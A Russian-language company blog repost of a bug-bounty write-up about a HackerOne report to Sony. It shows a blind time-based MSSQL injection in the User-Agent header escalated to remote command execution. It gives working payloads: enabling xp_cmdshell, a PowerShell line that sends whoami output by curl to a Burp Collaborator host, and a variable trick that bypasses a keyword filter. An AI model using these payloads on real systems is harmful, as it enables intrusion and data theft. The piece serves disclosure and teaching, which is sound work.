Как я расширил Time-Based SQL Injection до RCE

в 6:34, , рубрики: Data security, Блог компании М.Видео-Эльдорадо, защита данных, защита информации, ИБ, информационная безопасность, ит, мвидео, Читальный зал, Эльдорадо
Как я расширил Time-Based SQL Injection до RCE - 1

Тема информационной безопасности и защиты данных крайне актуальна для любого бизнеса, независимо от его размеров и географии. В рамках нашего блога мы решили публиковать заметки зарубежных коллег, основанные на их реальном опыте по теме. Надеемся, что приведенный материал будет вам полезен.

Предисловие

В этой статье я расскажу о своём отчёте, отправленном компании Sony в рамках публичной программы на сайте HackerOne, а также о том, как я преобразовал Blind Time-based SQL Injection в полномасштабное удалённое выполнение команды ОС.

Я вырежу из статьи такие важные подробности, как домены, поддомены, результаты работы команд, мой IP-адрес, IP-адрес сервера и другие.

Этап разведки

Для этапа разведки я использовал sublist3r для поиска поддоменов нужного мне домена.

image

Я проверил все поддомены, но ссылки оказались мёртвыми. Расстроившись, я попробовал другие инструменты разведки, например, amass. Как ни удивительно, результат оказался лучше.

amass нашёл для меня поддомены, которые нельзя увидеть в простых google-запросах. (Простите, но я не буду показывать скриншоты). Он выявил поддомен вида special.target.com.

Знакомимся ближе с Target

Перейдя на сайт, я увидел, что это что-то типа панели администратора или страницы для логина сотрудников.

image

Далее я попробовал классический символ ' для проверки на sql-ошибки. Я ввёл username=123'&password=123'.

Проверил запросы burpsuite, и конечная точка вернула мне плодотворную страницу ошибки 500. Почему плодотворную? Разработчики забыли отключить режим отладки (или что-то типа того), и это позволило мне посмотреть запрос целиком с полным путём к файлам.

image

Конечная точка уязвима к Microsoft SQL Injection.

Сам эксплойт

Я попробовал простые булевы SQL-инъекции с параметром username, но безуспешно. В ответ на любую полезную нагрузку я получал ошибки. Повторно изучив ошибку запроса, я осознал, что базе данных передаётся мой User-Agent Header. Я добавил к своему user-agent одну кавычку и комментарий ‘--, и наконец получил обычную корректную страницу.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'--

image

Хороший признак того, что сервер выполняет вводимые пользователем команды. Затем я проверил возможность time-based SQL injection, чтобы узнать, можно ли помещать запросы в стек.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';WAITFOR DELAY ‘00:00:05’;--

Ответ был отложен примерно на 5 секунд.

image

Это подтверждает, что мы можем помещать SQL-запросы в стек и выполнять инъекции любых нужных нам команд.

Расширение SQL-инъекции до RCE

Так как теперь мы знаем, что можем помещать запросы в стек, нужно найти способ исполнять здесь команды ОС. В отличие от MySQL, в MSSQL есть способ исполнения команд. Я воспользовался информацией из статьи Прашанта Кумара.

Выяснилось, что можно исполнять команды ОС при помощи xp_cmdshell, поэтому я включил на сервере xp_cmdshell.

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'; EXEC sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE;--

Затем я при помощи ping протестировал возможность слепого RCE

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36'; EXEC xp_cmdshell 'ping myburpcollablink.burpcollaborator.net';--

image

Отлично! Доступ к Burpsuite Collaborator Client был выполнен. Это подтверждает, что мы можем выполнять RCE.

В отличие от Прашанта Кумара, я не стал сохранять результаты выполнения команд в базу данных и создал неразрушительный способ считывания результатов выполнения команд ОС.

Я присвоил значение вывода переменной в powershell и отправлял их в свой BurpCollaborator при помощи curl.

Это работает так:

powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x”

Команда получает результаты выполнения whoami и отправляет их по моей ссылке burpcollab

Готовая полезная нагрузка RCE выглядит так:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36';EXEC xp_cmdshell ‘powershell -c “$x = whoami; curl http://my-burp-link.burpcollaborator.net/get?output=$x"';--

Результаты выполнения команды отправляются мне.

image

Также мне удалось извлечь информацию о метаданных инстансов AWS EC2, просмотреть серверные файлы и многое другое.

Обходим «исправление»

Спустя несколько дней Sony сообщила мне, что развернула патч. Я попробовал запустить свою старую полезную нагрузку, но её заблокировал файрвол. Я увидел, что компания поместила в фильтр ключевое слово EXEC xp_cmdshell.

Я обошёл фильтр, объявив переменную @x со значением xp_cmdshell и запустив команду вида EXEC @x

‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —

Хроника событий

  • 14 сентября 2021 года → отправлен первый отчёт
  • 16 сентября 2021 года → отчёт проверен Hackerone
  • 21 сентября 2021 года → развёрнут первый патч (я его обошёл)
  • 23 сентября 2021 года → развёрнут ещё один патч (я его снова обошёл)
  • 26 сентября 2021 года → развёрнут окончательный патч
  • 27 сентября 2021 года → уязвимость помечена как устранённая, выплачено вознаграждение.

P.S. Команда М.Видер-Эльдорадо ждет в своих рядах талантливых разработчиков. Перечень актуальных вакансий по ссылке. Приходите, будет интересно.

Автор: М.Видео-Эльдорадо

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js